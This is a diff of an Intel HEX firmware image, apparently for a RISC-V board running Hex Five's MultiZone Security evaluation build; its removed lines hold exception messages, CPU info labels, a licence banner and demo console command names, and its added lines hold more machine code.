-:10460000070109C713070002A309E10413F7870094
-:1046100009C71307B002A309E10483460900130781
-:10462000A002638FE606F2474A8481462546034787
-:10463000040093051400130707FD6378E60AADCA6A
-:104640003ECEBDA0972700009387878E6395F40028
-:1046500083A4890005B79727000093876789E39BA8
-:10466000F4F083A4C90039B7A6854E85BD2E09D9BB
-:104670007D55FA406A44DA444A49BA492A4A9A4A74
-:104680000A4BF65B665CD65C0D618280050421BF37
-:10469000330555413315AC00C98F3EC82289B1B7E7
-:1046A000324793064700184336C6634907023ACE9D
-:1046B000034704009307E002631FF7040347140055
-:1046C0009307A002631BF702B24709041387470050
-:1046D0009C433AC663C107023ECA35A83307E0408F
-:1046E00093E727003ACE3EC8E1B7B38767032E842D
-:1046F0008546BA972DBFFD57C5B7050402CA814646
-:10470000814725460347040093051400130707FD5E
-:104710006374E606F1F2834504000D461725000098
-:1047200013058583E92511CD972700009387C7825C
-:104730001D8D93070004B397A700424505045D8DC6
-:104740002AC8834504001946172500001305058172
-:10475000130914002304B102592D2DC19307000041
-:1047600095E74247B2471377071009CF91073EC636
-:104770009257D2973ED23DB5B38767032E848546C4
-:10478000BA9749B79D07E19BA107D5B7780097066F
-:1047900000009386A6D626860C084E85970000005A
-:1047A000E7000000FD572A8AE314F5FC83D7C40014
-:1047B00093F70704E39E07EA125565BD7800970654
-:1047C00000009386A6D326860C084E85EFF03FA9FD
-:1047D000D1BF411122C42A842E85B285368623A2F8
-:1047E000018206C6EFE00FB7FD576316F50083A7F9
-:1047F000418291C31CC0B2402244410182804111D8
-:1048000022C42A842E85B285368623A2018206C65A
-:10481000EFE04FB7FD576316F50083A7418291C3C0
-:104820001CC0B240224441018280411122C42A842A
-:104830002E8523A2018206C6EFE00FAFFD57631657
-:10484000F50083A7418291C31CC0B24022444101BC
-:104850008280411122C42E848395E50006C6453727
-:10486000634905007C48AA977CC8B24022444101B4
-:1048700082808357C4007D777D17F98F2316F4005B
-:10488000EDB783D7C500011122CC26CA4AC84EC64F
-:1048900006CE93F70710AA842E843289B68991C771
-:1048A0008395E500894601460D218357C4007D7735
-:1048B0007D17F98F8315E4002316F4006244F2405B
-:1048C000CE864A86B24942492685D24405616FF0B8
-:1048D0000F81411122C42E848395E50006C6F5267A
-:1048E000FD570357C400631BF500FD77FD17F98FD3
-:1048F0002316F400B2402244410182808567D98F9B
-:104900002316F40068C8FDB78395E500E5A293F58A
-:10491000F50F8347050091C76393B70082800505B3
-:10492000CDBF91C101458280011122CC26CA4AC85F
-:1049300006CE4EC6AA842E89328409C51C4D99E341
-:10494000EFF0CF9B971700009387875C6319F406FD
-:10495000C0401C4C1CC48357C400A18BC9C31C4855
-:10496000BDCF1C4808409379F90F1379F90F1D8DBD
-:104970005C486346F500A2852685ED242DE51C44A0
-:104980000505FD171CC41C401387170018C02380A1
-:1049900037015C486389A7008357C400858B81CBAE
-:1049A000A9476316F900A28526856D2C0DEDF2400E
-:1049B0006244D244B2494A854249056182809717D0
-:1049C00000009387E7566314F400804459B79717A3
-:1049D00000009387E751E31EF4F6C0449DBFA28513
-:1049E000268521203DDD7D59D9B7411122C426C23B
-:1049F0004AC006C683A4C1802A892E8491C49C4CD7
-:104A000081E72685EFF08F8F971700009387475037
-:104A10006317F402C0408317C4001397070193F68D
-:104A200087004183B5EA9376070195EA254723205D
-:104A3000E90093E707042316F4007D5579A897173A
-:104A400000009387E74E6314F4008044E9B797179A
-:104A500000009387E749E310F4FCC0446DBF118B5D
-:104A600015C74C5891C9930744046385F5004A85DE
-:104A7000EFF06FA0232A04028357C400232204000E
-:104A800093F7B7FD2316F4001C481CC08357C400DD
-:104A900093E787002316F4001C4881EF8357C40076
-:104AA0001307002093F707286385E700A2854A854E
-:104AB00045248317C4001397070193F61700418319
-:104AC0009DC2544823240400B306D04014CC14489B
-:104AD000014581E61377070829FFB240224492443A
-:104AE00002494101828093762700014691E25048B5
-:104AF00010C4F1BF411122C42A842E8523A2018251
-:104B000006C6EFE0AF81FD576316F50083A741822B
-:104B100091C31CC0B24022444101828083D7C500AA
-:104B2000011122CC26CA06CE4AC84EC613F787000A
-:104B3000AA842E847DE3D8416347E000B8416344F2
-:104B4000E00001457DA858546DDF856603A9040087
-:104B5000F58F23A00400ADCF68488357C400918B24
-:104B600099C75C401D8D5C5899C33C401D8D5C54B9
-:104B70000C502A86814626858297FD570357C4002C
-:104B8000631DF5009440F54763E4D708B70740205C
-:104B90008507B3D7D700858BA5CF1C4823220400F7
-:104BA0001CC085677D8F19C7FD576314F5009C40B5
-:104BB00091E368C84C5823A02401C1D5930744044D
-:104BC0006385F5002685EFF00F8B232A040295BF3D
-:104BD0000C508546014626850297FD57E31FF5F6E2
-:104BE0009C40A5DF75476385E70059476395E7005B
-:104BF00023A02401B9B78357C40093E70704231601
-:104C0000F400F2406244D2444249B24905618280D4
-:104C1000136707042316E400EDB783A90501E382B7
-:104C200009F203A905008D8B23A035013309394111
-:104C3000014791E3D84918C4E35520F11C540C50A6
-:104C4000CA864E8626858297634AA0008357C40091
-:104C50007D5593E707042316F40065B7AA99330935
-:104C6000A940D9BF9C49A5C3011122CC06CE2A84F4
-:104C700019C51C4D89E72EC6EFE05FE8B2459717CE
-:104C800000009387E728639BF5004C408397C5009D
-:104C900095C722856244F240056149B59717000027
-:104CA000938707296394F5000C44CDB7971700004C
-:104CB00093870724E39CF5FC4C44C9BFF24062444F
-:104CC00001450561828001458280411122C42A8408
-:104CD0002E85B285368623A2018206C6EFD05FE715
-:104CE000FD576316F50083A7418291C31CC0B240F3
-:104CF0002244410182805971CAD02E898395E500F2
-:104D0000A2D4A6D286D63284B68463DC050083178B
-:104D1000C90023A0040093F707088DE39307004020
-:104D200005A03000B122E34405FE3247BD67F98F8C
-:104D30007977BA9793B717009CC0CDB79307000453
-:104D4000B6501CC0265496540659014565618280B0
-:104D500083D7C500011122CC06CE26CA4AC8898B4A
-:104D60002E8489CF930774041CC01CC885475CC877
-:104D7000F2406244D24442490561828074003000AE
-:104D80002A89953FA245AA844A85EFE0FFF801ED04
-:104D90008317C40013F7072061FFF19B93E72700F7
-:104DA0002316F400C1B797F7FFFF938767D023243A
-:104DB000F9028357C40008C008C893E70708231600
-:104DC000F400A2475CC8B24789CF8315E4004A8546
-:104DD000E92001C98357C400F19B93E7170023160C
-:104DE000F4000355C400C98C2316940051B793F501
-:104DF000F50F2A966314C50001458280834705009C
-:104E0000E38DB7FE0505FDB782808280011122CCBB
-:104E100006CE26CA4AC84EC6328491E96244F240A0
-:104E2000D2444249B249B28505616FE0FFEE01EE1E
-:104E3000EFE07FE48144F24062444249B249268572
-:104E4000D244056182802E89AA89A528CA84E37488
-:104E500085FEA2854E85EFE03FECAA8469DDCA8518
-:104E60002286EFE06F9ECA854E85EFE0DFE0E1B776
-:104E7000411122C42A842E85B28523A2018206C64E
-:104E8000EFD01FCAFD576316F50083A7418291C377
-:104E90001CC0B240224441018280411122C42A84B4
-:104EA0002E8523A2018206C6EFD03FCAFD576316A6
-:104EB000F50083A7418291C31CC0B2402244410146
-:104EC000828083A7C5FF1385C7FF63D50700AA9516
-:104ED0009C413E9582802A833288B6872E876395CF
-:104EE000061C97160000938666E063F6C50AC16843
-:104EF000637C16099308F00F63F3C800A147B35809
-:104F0000F600C69683C60600B69793060002B388DD
-:104F1000F640638CF600B3951501B357F3003318D0
-:104F2000160133E7B7003315130193550801B37722
-:104F3000B702131608014182935605013357B70291
-:104F4000C207DD8E3307E60263F8E600C29663E52A
-:104F5000060163F3E600C296998EB3F7B6024205E6
-:104F60004181B3D6B602C2075D8DB306D60263781F
-:104F7000D5004295636505016373D5004295158D93
-:104F80003355150181458280B7080001C147E368A8
-:104F900016F7E147ADB701E605473358C702416749
-:104FA0006373E8081307F00F63730701A1473357D2
-:104FB000F800BA9603C606003E9693070002B3882F
-:104FC000C7406399C706B3850541935608019317F7
-:104FD0000801C1831356050133F7D502B3D5D502B5
-:104FE0004207518FB385B7026378B7004297636574
-:104FF00007016373B7004297B305B74033F7D50293
-:1050000042054181B3D5D502B385B7029317070195
-:105010005D8D6378B5004295636505016373B500E6
-:1050200042950D8DB1BF37070001C147E361E8F834
-:10503000E147B5BF33181801B3D6C500935708012F
-:1050400033F7F602B39515013356C3004D8E931511
-:105050000801C1813315130113530601B3D6F602BB
-:10506000420733676700B386D5026378D70042975B
-:10507000636507016373D7004297B306D74033F7E0
-:10508000F60242064182B3D6F6024207B386D50243
-:10509000B365C70063F8D500C29563E5050163F306
-:1050A000D500C295958D15B7E3EFD5ECC16763F4D4
-:1050B000F6049308F00FB3B7D8008E07B3D8F60004
-:1050C00017180000130888C2469883480800BE9845
-:1050D00093070002338817416396170363E4B60011
-:1050E0006369C3003305C340958D3337A30033870D
-:1050F000E540BA8549BD37080001C147E3E006FD38
-:10510000E1476DBFB3571601B396060133EED700E2
-:1051100033D71501135F0E01B31E06013376E70383
-:10512000B3950501B3571301CD8F93150E01C181BE
-:105130003315030193D607013357E7034206D18E97
-:105140003383E5023A8663FC6600F2961306F7FFA6
-:1051500063E7C60163F566001306E7FFF296B386C0
-:10516000664033F3E603B3D6E60342033387D50242
-:1051700093950701C181B365B300B68763FCE50071
-:10518000F2959387F6FF63E7C50163F5E500938722
-:10519000E6FFF2954206416F5D8E9306FFFF337383
-:1051A000D600998D418213D70E01B3F6DE00B30706
-:1051B000D302B306D6023303E3023306E602369384
-:1051C00013D707011A976373D7007A96935607018E
-:1051D000B29641667D16718F4207F18FBA9763E6EA
-:1051E000D500639BD5006379F5003386D741B3B70B
-:1051F000C700F2979D8EB287B307F5403335F500AF
-:10520000958D898DB398150133D5070133E5A80035
-:08521000B3D505018DBB01A01F
-:10521800496E737472756374696F6E206164647229
-:10522800657373206D697373616C69676E6564205B
-:105238003A20307825303878203078253038782072
-:10524800307825303878200A00000000496E7374E1
-:1052580072756374696F6E2061636365737320662A
-:1052680061756C74203A2030782530387820307891
-:105278002530387820307825303878200A0000002A
-:10528800496C6C6567616C20696E737472756374C0
-:10529800696F6E203A2030782530387820307825AC
-:1052A80030387820307825303878200A000000001F
-:1052B800427265616B706F696E74203A2030782590
-:1052C80030387820307825303878203078253038D4
-:1052D80078200A004C6F616420616464726573739E
-:1052E800206D697373616C69676E6564203A20305C
-:1052F800782530387820307825303878203078256F
-:10530800303878200A0000004C6F616420616363C4
-:10531800657373206661756C74203A203078253087
-:10532800387820307825303878203078253038782B
-:10533800200A000053746F72652F414D4F2061643D
-:105348006472657373206D697373616C69676E65E8
-:1053580064203A2030782530387820307825303865
-:105368007820307825303878200A000053746F721E
-:105378006520616363657373206661756C74203A98
-:10538800203078253038782030782530387820302B
-:105398007825303878200A00456E7669726F6E6D10
-:1053A800656E742063616C6C2066726F6D20552D7C
-:1053B8006D6F6465203A2030782530387820307851
-:1053C8002530387820307825303878200A000000D9
-:1053D800456E7669726F6E6D656E742063616C6C74
-:1053E8002066726F6D20532D6D6F6465203A2030F2
-:1053F800782530387820307825303878203078256E
-:10540800303878200A000000456E7669726F6E6D3C
-:10541800656E742063616C6C2066726F6D204D2D13
-:105428006D6F6465203A20307825303878203078E0
-:105438002530387820307825303878200A00000068
-:105448001B371B5B324B00000D444D4120747261C9
-:105458006E7366657220636F6D706C657465200A83
-:1054680000000000736F75726365203A203078255C
-:10547800303878200A000000646573742020203AD0
-:1054880020307825303878200A00000073697A6562
-:105498002020203A20307825303878200A00000073
-:1054A8001B381B5B344200000D4D616368696E65F3
-:1054B8002074696D657220696E7465727275707496
-:1054C800203A2030782530387820307825303878E0
-:1054D80020307825303878200A0000000A5A322017
-:1054E8003E202573000000001B381B5B3242000081
-:1054F800457863657074696F6E203A20307825307E
-:105508003878203078253038782030782530387849
-:10551800200A0000507265737320616E79206B65F4
-:105528007920746F2072657374617274200A0000A8
-:1055380014C5FFFF46C5FFFF54C5FFFF62C5FFFF47
-:1055480070C5FFFFBCC5FFFFD0C5FFFFF4C5FFFF57
-:1055580002C6FFFF10C6FFFF06C5FFFF1EC6FFFFFE
-:105568004D616368696E65204953412020203A20C7
-:105578003078253038782052562564202573200A43
-:105588000000000056656E646F72202020202020E5
-:1055980020203A20307825303878202573200A00DA
-:1055A80041726368697465637475726520203A2076
-:1055B800307825303878202573200A00496D706CC2
-:1055C800656D656E746174696F6E3A203078253048
-:1055D8003878200A0000000048617274206964204D
-:1055E8002020202020203A203078253178200A00F9
-:1055F80043505520636C6F636B20202020203A2095
-:105608002564204D487A200A0000000052544320A7
-:10561800636C6F636B20202020203A202564204B88
-:10562800487A200A00000000256C7500252A6420AD
-:10563800696E73747220252A64206379636C6573BC
-:1056480020252A64207573200A0000002D2D2D2D99
-:105658002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D72
-:105668002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D62
-:105678002D2D2D2D2D0A0000696E73747273206D07
-:10568800696E2F6D65642F6D6178203D2025642F2C
-:1056980025642F2564200A006379636C6573206D87
-:1056A800696E2F6D65642F6D6178203D2025642F0C
-:1056B80025642F2564200A0074696D652020206DFB
-:1056C800696E2F6D65642F6D6178203D2025642FEC
-:1056D80025642F2564207573200A00004B65726EBF
-:1056E800656C2074696D650A00000000696E73744A
-:1056F8007273206D696E2F6D6178203D20256C7561
-:105708002F256C75200A00006379636C6573206D22
-:10571800696E2F6D6178203D20256C752F256C757D
-:10572800200A000074696D652020206D696E2F6D58
-:105738006178203D20256C752F256C752075730ABE
-:1057480000000000495251206C6174656E63790A4B
-:1057580000000000696E73747273206D696E2F6D9E
-:105768006178203D2025642F2564200A0000000070
-:105778006379636C6573206D696E2F6D6178203D68
-:105788002025642F2564200A0000000074696D65D7
-:105798002020206D696E2F6D6178203D2025642FB3
-:1057A80025642075730A0000544F52004E4134009E
-:1057B8004E41504F54000000307825303878203062
-:1057C8007825303878202573202573200A000000BA
-:1057D80070696E6700000000706F6E67000000005F
-:1057E8000D5A2564203E202573200A000D5A3220C8
-:1057F8003E2025730000000068656C700000000002
-:105808007969656C64203A20656C61707365642001
-:105818006379636C6573202564202F2074696D6536
-:105828002025647573200A007969656C64203A2024
-:105838006E2F61200A0000006C6F61640000000098
-:10584800307825303878203A203078253032782062
-:105858000A00000053796E7461783A206C6F6164B5
-:105868002061646472657373200A000073746F7238
-:105878006500000053796E7461783A2073746F7212
-:105888006520616464726573732064617461200AC1
-:1058980000000000657865630000000053796E74AD
-:1058A80061783A2065786563206164647265737312
-:1058B800200A0000646D610053796E7461783A20A3
-:1058C800646D6120736F75726365206465737420FD
-:1058D80073697A65200A000073656E640000000031
-:1058E8004572726F723A20496E626F782066756CE5
-:1058F8006C2E0A0053796E7461783A2073656E6471
-:10590800207B317C327C337C347D206D6573736100
-:105918006765200A000000007265637600000000D9
-:105928006D7367203A20252E3136730A0000000077
-:105938004572726F723A20496E626F7820656D7099
-:1059480074792E0A0000000053796E7461783A2049
-:1059580072656376207B317C327C337C347D200A0F
-:10596800000000007969656C6400000074696D6569
-:105978007200000074696D6572207365742054307C
-:105988003D256C752C2054313D256C75200A00008E
-:1059980053796E7461783A2074696D6572206D73FD
-:1059A800200A0000737461747300000072657374D8
-:1059B80061727400706D70006563616C6C0000004A
-:1059C8006373727200000000307825303878202820
-:1059D8002564206379636C657329200A0000000040
-:1059E800436F6D6D616E64733A207969656C6420EC
-:1059F80073656E64207265637620706D70206C6FBD
-:105A080061642073746F7265206578656320646DC6
-:105A1800612073746174732074696D657220726596
-:105A28007374617274200A001B3700001B5B4B0003
-:105A38001B3800001B5B43001B5B44001B5B324BA5
-:105A4800000000000D5A32203E20000055415254FB
-:105A5800000000001B5B324A1B5B48003D3D3D3D9A
-:105A68003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D5E
-:105A78003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D4E
-:105A88003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3E
-:105A98003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D2E
-:105AA8003D0A00002020202020200920202020203E
-:105AB800202020202020202048657820466976650F
-:105AC800204D756C74695A6F6E65C2AE205365635C
-:105AD8007572697479202020202020202020202021
-:105AE8002020202020202020200A00002020202004
-:105AF800436F70797269676874C2A9203230323096
-:105B08002048657820466976652053656375726913
-:105B180074792C20496E632E202D20416C6C205204
-:105B280069676874732052657365727665642020AE
-:105B380020200A00546869732076657273696F6E55
-:105B4800206F66204D756C74695A6F6E65C2AE2001
-:105B58005365637572697479206973206D65616E28
-:105B68007420666F72206576616C756174696F6EFA
-:105B780020707572706F736573200A006F6E6C7990
-:105B88002E20417320737563682C20757365206F10
-:105B980066207468697320736F6674776172652014
-:105BA800697320676F7665726E6564206279207408
-:105BB8006865204576616C756174696F6E20202078
-:105BC800200A00004C6963656E73652E2054686571
-:105BD8007265206D6179206265206F746865722036
-:105BE80066756E6374696F6E616C206C696D69743B
-:105BF8006174696F6E732061732064657363726981
-:105C080062656420696E2020200A0000746865209F
-:105C18006576616C756174696F6E2053444B2064BE
-:105C28006F63756D656E746174696F6E2E2054684C
-:105C38006520636F6D6D65726369616C207665724E
-:105C480073696F6E206F662074686520202020209D
-:105C5800200A0000736F66747761726520646F654F
-:105C680073206E6F7420686176652074686573654B
-:105C7800207265737472696374696F6E732E202065
-:105C8800202020202020202020202020202020200C
-:105C98002020202020202020200A00000A0D5A322F
-:105CA800203E20005369466976652C20496E632E94
-:105CB8000000000048657820466976652C20496E0A
-:105CC800632E000000000000583330300000000050
-:105CD800453331000000000045323100000000006B
-:105CE800000102020303030304040404040404047B
-:105CF800050505050505050505050505050505054C
-:105D0800060606060606060606060606060606062B
-:105D1800060606060606060606060606060606061B
-:105D280007070707070707070707070707070707FB
-:105D380007070707070707070707070707070707EB
-:105D480007070707070707070707070707070707DB
-:105D580007070707070707070707070707070707CB
-:105D680008080808080808080808080808080808AB
-:105D7800080808080808080808080808080808089B
-:105D8800080808080808080808080808080808088B
-:105D9800080808080808080808080808080808087B
-:105DA800080808080808080808080808080808086B
-:105DB800080808080808080808080808080808085B
-:105DC800080808080808080808080808080808084B
-:105DD800080808080808080808080808080808083B
-:105DE80000202020202020202020282828282820A3
-:105DF800202020202020202020202020202020209B
-:105E08002088101010101010101010101010101002
-:105E180010040404040404040404041010101010F2
-:105E280010104141414141410101010101010101BC
-:105E3800010101010101010101010101101010100E
-:105E4800101042424242424202020202020202028E
-:105E580002020202020202020202020210101010E2
-:105E6800200000000000000000000000000000000A
-:105E7800000000000000000000000000000000001A
-:105E8800000000000000000000000000000000000A
-:105E980000000000000000000000000000000000FA
-:105EA80000000000000000000000000000000000EA
-:105EB80000000000000000000000000000000000DA
-:105EC80000000000000000000000000000000000CA
-:105ED80000000000000000000000000000000000BA
-:105EE80000000000000000000000000000000000AA
-:105EF800000000000000000000000000000000009A
-:105F08000000000000000000000000000000000089
-:105F18000000000000000000000000000000000079
-:105F28000000000000000000000000000000000069
-:105F38000000000000000000000000000000000059
-:105F480000000000232D302B20000000686C4C005E
-:105F58006566674546470000303132333435363799
-:105F6800383941424344454600000000303132335D
-:105F7800343536373839616263646566000000007D
-:105F88003EE3FFFF54E3FFFF14E3FFFF14E3FFFFCB
-:105F980014E3FFFF14E3FFFF54E3FFFF14E3FFFFE5
-:105FA80014E3FFFF14E3FFFF14E3FFFFAAE4FFFF7E
-:105FB80092E3FFFF7CE4FFFF14E3FFFF14E3FFFF1E
-:105FC800DAE4FFFF14E3FFFF92E3FFFF14E3FFFFB0
-:085FD80014E3FFFF84E4FFFF66
-:105FE000ECD900802CDA00806CDA0080ACDA00801A
-:105FF000000000000C5F40202C5F4020EC5E402041
-:106000000000000000000000000000000000000090
-:106010000000000000000000000000000000000080
-:106020000000000000000000000000000000000070
-:106030000000000000000000000000000000000060
-:106040000000000000000000000000000000000050
-:1060500010D80080FFFFFFFF80E3008010D8008091
+:10187000411122C406C6971700009387E7FC2A840B
+:1018800081C78145EF00107C17C5C05F032585FD2A
+:101890001C5591C382972285EF20A0355D7186C6C5
+:1018A000A2C4A6C2CAC04EDE52DC56DA5AD85ED6F0
+:1018B0009707000093876719739057308567938760
+:1018C0008780F3A74730F3670430B707000C094758
+:1018D000D8C73727000C1C430146814593E7870092
+:1018E0001CC31725000013056566EF00B0671725B8
+:1018F000000013052566EF00D04F172500001305E3
+:10190000E565EF00104F172500001305A569EF00EE
+:10191000504E172500001305656DEF00904D1725FB
+:1019200000001305A563EF00D04C17250000130538
+:101930006570EF00104C1725000013052574EF00AB
+:10194000504B172500001305E577EF00904A172547
+:1019500000001305A57BEF00D049172500001305F3
+:10196000657FEF001049172500001305255FEF0084
+:1019700050481D4697350000938545820545EF0088
+:10198000D06113890185173A0000130AAA88973A93
+:101990000000938A2A8197C9C05F9389E9EC173BBD
+:1019A0000000130B2B81973B0000938BAB82CA8501
+:1019B0000545B92B2A842DCD4C4151462800EF0016
+:1019C000B0275685230E0100EF00B04203A50900A1
+:1019D0008144EF007050835704002A866319F50094
+:1019E00083A509004840EF0050509334150048404B
+:1019F000EF00102485472310F4000545EF00D022A6
+:101A000048C05A85EF00F03E5C405E852380970019
+:101A10005C4083C50700EF00D03D05468545228523
+:101A20001D25172500001305657DEF00903C41B78B
+:101A3000CA850945F1292A843DD95285EF00703BBA
+:101A40002285E524ADB75971AACA86D696D49AD212
+:101A50009ED0A2CEA6CCAEC8B2C6B6C4BAC2BEC0D4
+:101A600042DE46DC4ADA72D876D67AD47ED2154582
+:101A7000AA85214573003000AA841145AA85214515
+:101A8000730030002A841945AA852145730030006F
+:101A9000AD47AA8663EC9700172600001306064898
+:101AA0001397240032971C43B2978287B7070080B0
+:101AB000138777006382E41A1387B7006385E420F5
+:101AC0008D076385F4122286A6851725000013056D
+:101AD000E54039A02286814517250000130505122F
+:101AE000EF0030311725000013058541EF007030FD
+:101AF000230C010005462C080145EF0030497DD933
+:101B00006FF01FD0B1A02286854517250000130570
+:101B1000A512F9B72286894517250000130505157A
+:101B2000C1B722868D4517250000130525174DBF27
+:101B3000228691451725000013058518EF00702BAC
+:101B400083470400858B91E38944269473101434F1
+:101B50007644B650A65216538653E6445645C645BB
+:101B60003646A646164786477258E2585259425E94
+:101B7000B25E225F925F65617300203022869545D8
+:101B80001725000013050517EF00B02611047DBFCF
+:101B9000228699451725000013058518EF0070254A
+:101BA000834704001145858B91E309452295731005
+:101BB000153479BF22869D45172500001305C519E8
+:101BC000F1BF2286A145172500001305A51B09BFFB
+:101BD0002286A545172500001305451E11B722864C
+:101BE000AD45172500001305E520DDBD2AC61946C1
+:101BF00097250000938585230545EF00103AB246EE
+:101C00002286A685172500001305C522EF00701E49
+:101C1000370404102C441725000013056523EF003A
+:101C2000501D6C44172500001305C523EF00701CE0
+:101C30002C481725000013052524EF00901B19469A
+:101C400097250000938585240545EF001035C16771
+:101C5000938717101CD8EDBD2AC61946972500009A
+:101C60009385C51C0545EF005033B2462286A685F4
+:101C70001725000013050522EF00B0171946972518
+:101C80000000938565240545EF00303113850185FB
+:101C9000EF0090242A86938501850545EF00F02FFB
+:101CA0001946972500009385E5220545EF00F02EA3
+:101CB000FD57BE853E861945730030009307000826
+:101CC000F3B7473071B5B707200C21462C08014502
+:101CD00003A94700EF00902B2A846357A002938446
+:101CE0008182DC5013070002B307F7406345F5001B
+:101CF000C05033048740C85022862C082695EF0038
+:101D0000A073C8502295C8D0B707200C23A2270182
+:101D100081B54111214506C6EF000071B240231084
+:101D200005002322050041018280411122C42A843A
+:101D3000484106C6EF00C06F22852244B2404101EF
+:101D40006F00006F411126C24AC006C622C42E8908
+:101D5000B28491E27D3F2A842685EF00E06C2686DE
+:101D600048C08145EF00007148402310940026864A
+:101D7000CA85EF00606CB240228522449244024939
+:101D800041018280411126C2AA8417250000130553
+:101D9000A54D06C622C44AC02E89EF00F01383D792
+:101DA00004008D073E95EF0020682A841725000067
+:101DB0001305854BEF005012130615009725000000
+:101DC0009385854A2285EF002067172500001305BB
+:101DD000A549EF0070101307150003D60400930700
+:101DE00035004207CC404183C207C18322973305A7
+:101DF000F4002310C700892585476314F900268560
+:101E00002D37B2402285224492440249410182800A
+:101E1000411122C42A84172500001305E54406C693
+:101E200026C24AC02E89EF00300B930435001725D7
+:101E3000000013056543EF00300A22950356150094
+:101E4000A294A68581460145F53D8547AA84631481
+:101E5000F9002285F12BB2402244024926859244A2
+:101E60004101828001114AC82A8917250000130503
+:101E7000A53F06CE22CC26CA4EC6AE8452C456C258
+:101E8000EF0090052A84172500001305E53DEF00BB
+:101E9000B0042695035515000D0481492A94420487
+:101EA0004180228551232A8A172500001305C53B4E
+:101EB000EF0090020545BD4A0DC1B30734414146CC
+:101EC00063C5FA0013960701418233053A01C1093F
+:101ED000A685C209952393D9090163F089020545B6
+:101EE00073003000CA850D4573003000420590C074
+:101EF000D4C098C4DCC44181C1B76244F240D2442A
+:101F00004249B249924A5285224A8545056109B73C
+:101F1000797122D452CC2A842E8A414681450A8581
+:101F200006D626D24AD04ECE56CAA923A2850D4542
+:101F30007300300032C036C23AC43EC619E10144D3
+:101F400089A81725000013052532EF00E0782A86BE
+:101F50008A851725000013052531EF00007921E55A
+:101F60001725000013054530EF0000771C083E954B
+:101F7000035615FF8A851725000013056532952D38
+:101F800022858A85C5352A841725000013058533E7
+:101F90008D25B2502285225492540259F249624A48
+:101FA000D24A456182809304F4FF939A24001389F6
+:101FB0008180B309590103A5090041468A85AD29ED
+:101FC00003A709009397640093844187BE94410757
+:101FD0009387040463E6E70623A0E900C1450A8568
+:101FE000EF008073BD47E3ECA7F419469725000086
+:101FF0009385C5E30545EF00407AA285268617251F
+:10200000000013056528F523A9452685EF004072D9
+:1020100011E517250000130525E7E12BD2851725CB
+:10202000000013052527F123194697250000938505
+:1020300065EA05455699EF0040762320990001B7DF
+:1020400023A0990061BF1D71A6CAD2C4AA84035AF5
+:1020500005001725000013052521CAC8D6C2DAC01D
+:1020600086CEA2CCCEC65EDE62DC66DAAE8A328B6B
+:10207000A52503D9040085470D092A99420913595A
+:1020800009016398FA0E172500001305E52595232D
+:10209000DA852685C5392A84172500001305C5264B
+:1020A000892B172500001305E527A123172500001C
+:1020B000130585283D2B93071004172500001305F1
+:1020C000A528230EF1003523172500001305C51997
+:1020D000212583D604009305150009461725000025
+:1020E000130505283923172500001305E517ED23EF
+:1020F000930535005286A29568083D2E17250000ED
+:1021000013058516D12B2295035615008346C10170
+:10211000A285172500001305A529E129854763132A
+:10212000FB00814481493D4A054B972B0000938B6E
+:102130006B2D172C0000130C2C13972C0000938C84
+:102140006C2B63EF290D85476397FA001725000074
+:102150001305052C7929F64066444649B649264AB6
+:10216000964A064BF25B625CD25C2685D6442561BA
+:1021700082808947E394FAFADA85268521312A8418
+:1021800013051A005524AA89172500001305C50D4B
+:10219000A123930535005286A2954E85712C4E9A47
+:1021A00023000A001305000841242A8A13060008A8
+:1021B0008145C92463030A06172500001305C50AD3
+:1021C000212B229503571500CE87A28617260000E3
+:1021D00013064620930500085285A5294143334341
+:1021E00065020148094E6348030393184800D298DA
+:1021F00021A0014573003000F28503A6080083A6E4
+:10220000480003A7880083A7C80009457300300071
+:102210006DD10508C9BF5285212C4E85112CFDBDFD
+:10222000414681456800B924B307394141466345B9
+:10223000FA00139607014182B30534016800ED2AC4
+:10224000D6853246C2465247E24709457300300000
+:102250001DC9C109C20993D9090163946A034146A2
+:102260006C006808D12AC147230601026391F90274
+:1022700062859D211C183E950346D5FE6C08668537
+:102280008D2EE3F229ED0145730030005DBD8345DD
+:10229000C1015E85B92EF5B77D5582808967DCC1A5
+:1022A0000145828013870181AA870843938601181C
+:1022B000AA9763E8D7009386017A63E4F6001CC30B
+:1022C00082807D5582801335350082800145828071
+:1022D000411197250000938565C706C6D52611EDE7
+:1022E000B73701101307302398CF054798C7D8C7D1
+:1022F000094798CBB240410182807D55E5BF41112D
+:1023000022C426C206C62E84B284A12905C5014571
+:1023100037370110630595005C436347F000B24016
+:102320002244924441018280B306A4002380F60037
+:102330000505CDB77D55E5B7411122C426C206C6B5
+:102340002E84B284392921C1A28533079400B7377E
+:102350000110A94635466398E500B240224426851F
+:102360009244410182808843E34F05FE03C5050086
+:1023700088C303C505006316D5008843E34F05FEF7
+:1023800090C38505C9BFFD54C9BFAA8581460146D2
+:1023900001453DA9411122C426C217F4FFFF1304D1
+:1023A000644D97F4FFFF9384E44C058C06C60984C2
+:1023B00011E4B24022449244410182807D1493177B
+:1023C0002400A6979C438297E5B7411122C426C2F8
+:1023D00017F4FFFF1304044A97F4FFFF9384844922
+:1023E000818C4AC006C6898401496315990217F495
+:1023F000FFFF1304244897F4FFFF9384A447818CC4
+:1024000089840149631D9900B240224492440249E3
+:10241000410182801C40050911048297F9B71C40D4
+:10242000050911048297F9BFAA8503A54181D5A8A2
+:10243000AA8503A54181B9A02A8309CA838305001F
+:10244000230073007D16050385056DFA828015C291
+:102450002A8385466367B500FD561307F6FF3A9356
+:10246000BA9583830500230073007D163693B695D5
+:102470006DFA82802A8311C62300B3007D160503FE
+:1024800065FE8280D1CD83A7C5FF011122CC06CE87
+:102490001384C5FF63D307003E942AC6592D1387C2
+:1024A00081811C43324581EB2322040000C3624436
+:1024B000F240056141A5637DF4001040B306C400FD
+:1024C0006396D7009443DC43B29614C05CC0F9BF56
+:1024D0003E87DC4399C3E37DF4FE14433306D70003
+:1024E000631F86001040B29614C33306D700E390F2
+:1024F000C7FC9043DC43B29614C35CC34DBF637505
+:10250000C400B1471CC165B71040B306C400639650
+:10251000D7009443DC43B29614C05CC040C341BFB3
+:102520008280011126CA93843500F1984AC806CEEC
+:1025300022CC4EC6A104B1472A8963F0F404B14409
+:1025400063EFB4024A85F5239386818198423A84E9
+:1025500031E01384C1811C4089E781454A85F92017
